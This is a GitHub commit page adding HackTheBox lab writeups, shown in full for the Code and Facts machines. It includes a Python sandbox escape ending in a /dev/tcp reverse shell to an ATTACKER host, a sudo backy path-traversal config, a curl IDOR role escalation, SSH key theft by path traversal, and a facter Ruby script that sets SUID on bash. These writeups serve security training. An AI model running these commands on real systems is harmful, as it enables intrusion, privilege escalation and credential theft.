Skip to content

Commit e1138b9

Browse files
committed
Add 41 new HTB machine entries + 11 dedicated Season 9-10 writeups
Coverage: - Easy +12: Data, Retro, Code, TheFrizz, CodeTwo, Job, Facts, WingData, CCTV, Kobold, Eloquia, Certified - Medium +14: Helix, PingPong, Logging, DevArea, Interpreter, VariaType, Principal, Soulmate, Slonik, Bamboo, JobTwo, Imagery, HackNet, Store - Hard +10: Eighteen, Pirate, Gavel, Barrier, Guardian, Bruno, Giveback, Breach, Signed (Hard), AirTouch - Insane +5: Sorcery, Pterodactyl, Cobblestone, MonitorsFour, Overwatch Dedicated writeup files (Sink-style) for 11 high-value machines: - Easy/Facts (Camaleon CMS IDOR + path traversal + facter sudo) - Easy/Kobold (MCPJam CVE-2026-23744 + docker group escape) - Easy/Code (Python keyword filter bypass + backy sudo) - Medium/Helix (Apache NiFi ExecuteSQL + H2 alias RCE) - Medium/Interpreter (Mirth Connect CVE-2023-43208 + Python eval) - Medium/VariaType (fontTools/FontForge/setuptools CVE chain) - Hard/Pirate (Pre2k + gMSA + PetitPotam + RBCD + S4U SPN jack) - Hard/PingPong (multi-forest AD, MSSQL delegation, ADCS) - Hard/Eighteen (Win Server 2025, Bad Successor CVE-2025-53779) - Hard/AirTouch (WPA2 + Evil Twin + PEAP-MSCHAPv2) - Insane/MonitorsFour (Cacti type juggling + Docker API escape) - Insane/Sorcery (Cypher injection + WebAuthn XSS + Kafka + FreeIPA) - Insane/Pterodactyl (panel CVE-2025-49132 + PEAR pearcmd + PwnKit) - Insane/Cobblestone (second-order SQLi + Twig SSTI + Cobbler RCE)
1 parent 9974596 commit e1138b9

19 files changed

Lines changed: 1966 additions & 4 deletions

File tree

README.md

Lines changed: 19 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -58,16 +58,31 @@ Writeups for retired HTB machines organized by difficulty. Each writeup includes
5858

5959
| Difficulty | Path | Machines |
6060
|------------|------|----------|
61-
| Easy | [`machines/easy/`](machines/easy/) | 120+ |
62-
| Medium | [`machines/medium/`](machines/medium/) | 112+ |
63-
| Hard | [`machines/hard/`](machines/hard/) | 60+ |
64-
| Insane | [`machines/insane/`](machines/insane/) | 25+ |
61+
| Easy | [`machines/easy/`](machines/easy/) | 132+ |
62+
| Medium | [`machines/medium/`](machines/medium/) | 136+ |
63+
| Hard | [`machines/hard/`](machines/hard/) | 70+ |
64+
| Insane | [`machines/insane/`](machines/insane/) | 50+ |
6565

6666
### Recently Retired (2025-2026)
6767

6868
| Machine | OS | Difficulty | Key Techniques | Date |
6969
|---------|----|------------|----------------|------|
70+
| [MonitorsFour](machines/insane/MonitorsFour/) | Windows | Insane | PHP Type Juggling, Cacti CVE, Docker API Escape | May 2026 |
71+
| [Pterodactyl](machines/insane/Pterodactyl/) | openSUSE | Insane | Pterodactyl Panel CVE-2025-49132, PEAR pearcmd LFI, Polkit | May 2026 |
72+
| [Helix](machines/medium/Helix/) | Linux | Medium | Apache NiFi ExecuteSQL + H2 Java Alias RCE | May 2026 |
73+
| [Overwatch](https://0xdf.gitlab.io/2026/05/09/htb-overwatch.html) | Windows | Insane | .NET Reversing, WCF Service Injection, DNS | May 2026 |
74+
| [Sorcery](machines/insane/Sorcery/) | Linux | Insane | Cypher Injection, WebAuthn XSS, Kafka, FreeIPA | Apr 2026 |
75+
| [PingPong](machines/hard/PingPong/) | Windows | Hard | Multi-Forest AD, MSSQL Delegation, ADCS | Apr 2026 |
76+
| [AirTouch](machines/hard/AirTouch/) | Linux | Hard | 802.11 WPA2 Crack, Evil Twin, PEAP-MSCHAPv2 | Apr 2026 |
77+
| [Eighteen](machines/hard/Eighteen/) | Windows | Hard | Win Server 2025, MSSQL Impersonation, Bad Successor dMSA | Apr 2026 |
7078
| [DarkZero](https://0xdf.gitlab.io/2026/04/04/htb-darkzero.html) | Windows | Hard | Cross-Forest Trust, AD Abuse | Apr 2026 |
79+
| [Pirate](machines/hard/Pirate/) | Windows | Hard | Pre2k, gMSA, PetitPotam, RBCD, S4U SPN Jack | Feb 2026 |
80+
| [VariaType](machines/medium/VariaType/) | Linux | Medium | fontTools CVE-2025-66034, FontForge CVE-2024-25082 | Mar 2026 |
81+
| [Interpreter](machines/medium/Interpreter/) | Linux | Medium | Mirth Connect CVE-2023-43208, Python eval() | Feb 2026 |
82+
| [Kobold](machines/easy/Kobold/) | Linux | Easy | MCPJam CVE-2026-23744, Docker Group | Mar 2026 |
83+
| [Facts](machines/easy/Facts/) | Linux | Easy | Camaleon CMS IDOR + Path Traversal + Facter Sudo | Jan 2026 |
84+
| [Code](machines/easy/Code/) | Linux | Easy | Python Sandbox Bypass, Backy Sudo | Aug 2025 |
85+
| [Cobblestone](machines/insane/Cobblestone/) | Linux | Insane | Second-Order SQLi, Twig SSTI, Cobbler XMLRPC | 2025 |
7186
| [Snapped](https://0xdf.gitlab.io/2026/04/01/htb-snapped.html) | Linux | Hard | Nginx UI RCE, Static Site Exploitation | Mar 2026 |
7287
| [Browsed](https://0xdf.gitlab.io/2026/03/28/htb-browsed.html) | Linux | Medium | Browser Extension Exploitation, Headless Chrome | Mar 2026 |
7388
| [Previous](https://0xdf.gitlab.io/2026/01/10/htb-previous.html) | Linux | Medium | NextJS Exploitation, Framework Abuse | Jan 2026 |

machines/easy/Code/README.md

Lines changed: 121 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,121 @@
1+
---
2+
layout: default
3+
title: "Code"
4+
parent: Easy Machines
5+
grand_parent: Machines
6+
permalink: /machines/easy/code/
7+
---
8+
9+
# Code
10+
11+
![Machine Badge](https://img.shields.io/badge/Machine-Code-blue)
12+
![OS](https://img.shields.io/badge/OS-Linux-orange)
13+
![Difficulty](https://img.shields.io/badge/Difficulty-Easy-green)
14+
15+
| Property | Value |
16+
|----------|-------|
17+
| **OS** | Linux |
18+
| **Difficulty** | Easy |
19+
| **Release** | 2025-08-02 |
20+
| **Tags** | #python #sandbox-escape #keyword-filter #subprocess #backy #sudo |
21+
22+
---
23+
24+
## Summary
25+
26+
Code is a Python in-browser code editor. Dangerous keywords (e.g. `import`, `os`, `subprocess`, `exec`, `eval`, `open`, `__`) are blocklisted - but only string-based, so the **execution environment still holds dangerous objects in memory**. By walking the object graph via `().__class__.__base__.__subclasses__()` and selecting `subprocess.Popen` by **numeric index** (commonly 317), the filter is bypassed and arbitrary commands run. Post-shell, web-app SQLite holds bcrypt creds; root falls to a `sudo` rule for **`/usr/bin/backy.sh`** that allows path-traversal in the JSON config to read `/root/root.txt`.
27+
28+
---
29+
30+
## External Writeups
31+
32+
- [0xdf](https://0xdf.gitlab.io/2025/08/02/htb-code.html)
33+
- [Medium - CN-0x](https://medium.com/@CN-0x/code-hackthebox-writeup-7e73abc59aee)
34+
- [Medium - damarabrianr](https://medium.com/@damarabrianr/hackthebox-code-writeup-from-python-sandbox-escape-to-root-via-json-bypass-16d668bd307e)
35+
- [Axura](https://4xura.com/ctf/htb-writeup-code/)
36+
- [BugsWithBlas](https://bugswithblas.com/posts/code-htb-writeup/)
37+
38+
---
39+
40+
## Key Techniques
41+
42+
- Python sandbox escape via subclass enumeration
43+
- String-based keyword blocklists are insufficient (objects remain reachable)
44+
- `().__class__.__base__.__subclasses__()` -> `subprocess.Popen`
45+
- Avoiding banned identifiers using index access and chained attribute lookups
46+
- bcrypt hash cracking with `hashcat -m 3200`
47+
- `backy` (Python backup tool) JSON config `directories_to_archive` path traversal under `sudo`
48+
49+
---
50+
51+
## Attack Path
52+
53+
### 1. Recon
54+
55+
```bash
56+
nmap -p- --min-rate=10000 -sV -sC code.htb
57+
# 22 ssh
58+
# 5000 http -> Flask: Python Playground
59+
```
60+
61+
### 2. Sandbox Escape
62+
63+
The editor filters tokens like `import`, `os`, `exec`, `eval`, `__class__`, `subprocess`, but the runtime still has every loaded class. Use list-indexing to never name a banned token:
64+
65+
```python
66+
# Find subprocess.Popen index (varies; iterate or precompute)
67+
for i, c in enumerate(().__class__.__mro__[-1].__subclasses__()):
68+
if c.__name__ == 'Popen': print(i)
69+
# e.g. 317
70+
71+
# Bypass: avoid "__" by hex-rope construction, or wrap in getattr()
72+
P = ().__class__.__mro__[-1].__subclasses__()[317]
73+
P(['bash','-c','bash -i >& /dev/tcp/ATTACKER/4444 0>&1'])
74+
```
75+
76+
Common variant uses chained attribute strings via `getattr`/`type` to dodge the `__` filter when it is regex-based.
77+
78+
Shell as `app-production`.
79+
80+
### 3. User Pivot
81+
82+
Site SQLite (`/var/www/app/instance/database.db`) holds bcrypt hashes for `martin` and others. Crack:
83+
84+
```bash
85+
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
86+
# martin:nafeelswordsmaster
87+
```
88+
89+
`su martin` (or SSH as `martin`).
90+
91+
### 4. Root via Sudo Backy
92+
93+
```bash
94+
sudo -l
95+
# (root) NOPASSWD: /usr/bin/backy.sh /root/backy.conf
96+
```
97+
98+
`backy.sh` reads the JSON config and tar-archives `directories_to_archive`. The path validation in `task.py` strips `/root` but **not** `..`:
99+
100+
```bash
101+
mkdir /tmp/exf && cd /tmp/exf
102+
cat > cfg.json <<'EOF'
103+
{
104+
"destination": "/tmp/exf/",
105+
"multiprocessing": true,
106+
"verbose_log": false,
107+
"directories_to_archive": ["/root/..//root/"]
108+
}
109+
EOF
110+
sudo /usr/bin/backy.sh /tmp/exf/cfg.json
111+
# extract /tmp/exf/code-{date}.tar.bz2 -> root.txt, /root/.ssh/id_rsa
112+
```
113+
114+
---
115+
116+
## Lessons Learned
117+
118+
- Blocklist filters are bypassable; allowlists or proper sandboxes (e.g. `RestrictedPython`, gVisor, eBPF policies) are necessary.
119+
- Once the runtime has dangerous classes, every identifier access is an attack surface - indexing, `getattr`, `__dict__` lookups all work.
120+
- `sudo` to a script that consumes a JSON/YAML config is equivalent to `sudo` to whatever the script lets the config control.
121+
- `..` is still the most reliable path-traversal token in 2026.

machines/easy/Facts/README.md

Lines changed: 122 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,122 @@
1+
---
2+
layout: default
3+
title: "Facts"
4+
parent: Easy Machines
5+
grand_parent: Machines
6+
permalink: /machines/easy/facts/
7+
---
8+
9+
# Facts
10+
11+
![Machine Badge](https://img.shields.io/badge/Machine-Facts-blue)
12+
![OS](https://img.shields.io/badge/OS-Linux-orange)
13+
![Difficulty](https://img.shields.io/badge/Difficulty-Easy-green)
14+
![Season](https://img.shields.io/badge/Season-10%20Week%201-purple)
15+
16+
| Property | Value |
17+
|----------|-------|
18+
| **OS** | Linux (Ubuntu) |
19+
| **Difficulty** | Easy |
20+
| **Release** | 2026-01-31 (Season 10, Week 1) |
21+
| **Tags** | #web #idor #path-traversal #s3 #minio #ruby #sudo |
22+
23+
---
24+
25+
## Summary
26+
27+
Facts is the first machine of HTB Season 10 (Underground). It features a Ruby on Rails CMS called **Camaleon CMS** running with a path traversal vulnerability and an IDOR in the admin registration/update flow. Cloud storage credentials harvested from the CMS settings unlock a MinIO bucket holding the user's SSH private key. Root is achieved by abusing `sudo facter --custom-dir=`, which executes the first `.rb` script in the supplied directory as root.
28+
29+
---
30+
31+
## External Writeups
32+
33+
- [GitHub: lightbringer999/FACTS-HTB](https://github.com/lightbringer999/FACTS-HTB)
34+
- [Medium - ItsSunshineXD (EN)](https://itssunshinexd.medium.com/htb-machine-facts-writeup-en-9db1ec215330)
35+
- [Medium - wahyudnWis (S10)](https://medium.com/@mwahyudinwisesar/facts-s10-htb-writeup-3f6369768e57)
36+
- [Ibrahim Isiaq Bolaji - Facts Walkthrough](https://www.ibrahimisiaqbolaji.com/2026/02/facts-hack-box-walkthrough.html)
37+
- [CyberSecGuru: Mastering Facts](https://thecybersecguru.com/ctf-walkthroughs/mastering-facts-beginners-guide-from-hackthebox/)
38+
- [GitHub: CyberWarrior9 - Facts walkthrough](https://github.com/CyberWarrior9/HTB-Walkthroughs/blob/main/Facts/facts_htb_writeup.md)
39+
- [HackMD - Facts Writeup](https://hackmd.io/wWxm2lupSjC-Ir5ELV6KVg)
40+
- [1337 Sheets - FACTS Easy (Jan 31, 2026)](https://1337sheets.com/hack-the-box-season-htb-facts-writeup-easy-weekly-january/)
41+
42+
---
43+
44+
## Key Techniques
45+
46+
- IDOR on `/admin/users/{id}` (mass-assignment of `role`)
47+
- Camaleon CMS v2.9.0 Path Traversal in `download_private_file` (auth required, critical)
48+
- MinIO / S3-compatible object storage credential extraction
49+
- SSH private key recovery from misconfigured bucket
50+
- `sudo facter --custom-dir=` Ruby arbitrary file execution
51+
- Hardcoded plaintext cloud storage credentials in CMS settings
52+
53+
---
54+
55+
## Attack Path
56+
57+
### 1. Recon
58+
59+
```bash
60+
nmap -p- --min-rate=10000 -sV -sC facts.htb
61+
# 22/tcp ssh
62+
# 80/tcp nginx -> Camaleon CMS (Ruby on Rails)
63+
```
64+
65+
Add `facts.htb` to `/etc/hosts`. Browse the site, locate `/admin/register`.
66+
67+
### 2. Foothold via IDOR
68+
69+
Register a low-privilege user. Camaleon's profile-update endpoint allows updating arbitrary attributes for any user (including `role`). Promote your account to `admin`:
70+
71+
```bash
72+
curl -X PATCH http://facts.htb/admin/users/1 \
73+
-H "Cookie: _camaleon_session=<sess>" \
74+
-d "user[role]=admin"
75+
```
76+
77+
### 3. Path Traversal (User Flag / SSH Key)
78+
79+
With admin access, `download_private_file` traverses outside the media root:
80+
81+
```
82+
GET /admin/media/download_private_file?file=../../../../../home/sherman/.ssh/id_rsa
83+
```
84+
85+
SSH in as the recovered user.
86+
87+
### 4. Cloud Storage Pivot
88+
89+
Inside `Settings -> General Site -> Filesystem Settings`, the CMS is wired to an S3-compatible MinIO bucket with plaintext access key + secret. Use `mc` or `aws s3 --endpoint-url`:
90+
91+
```bash
92+
aws --endpoint-url http://facts.htb:9000 s3 ls
93+
aws --endpoint-url http://facts.htb:9000 s3 cp s3://backups/id_rsa -
94+
```
95+
96+
### 5. Root via Sudo Facter
97+
98+
```bash
99+
sudo -l
100+
# (root) NOPASSWD: /usr/bin/facter --custom-dir=*
101+
```
102+
103+
`facter` loads the first `.rb` file from the custom-dir path with Ruby; running as root means arbitrary code execution as root:
104+
105+
```bash
106+
mkdir /tmp/pwn
107+
cat > /tmp/pwn/pwn.rb <<'EOF'
108+
Facter.add(:pwn) { setcode { system("chmod +s /bin/bash") } }
109+
EOF
110+
sudo /usr/bin/facter --custom-dir=/tmp/pwn
111+
/bin/bash -p
112+
# uid=1000(sherman) euid=0(root)
113+
```
114+
115+
---
116+
117+
## Lessons Learned
118+
119+
- IDOR on role/privilege fields is still common in CMS frameworks - always test mass-assignment.
120+
- Cloud storage credentials in CMS settings are a frequent secrets-in-config sink.
121+
- `sudo` rules with `--custom-dir=*` or any `*` wildcard at the end of a Ruby/Python loader path are RCE-as-root.
122+
- Camaleon CMS path traversal (no CVE assigned at retirement) underscores the value of reading source for new/niche CMS frameworks.

0 commit comments

Comments
 (0)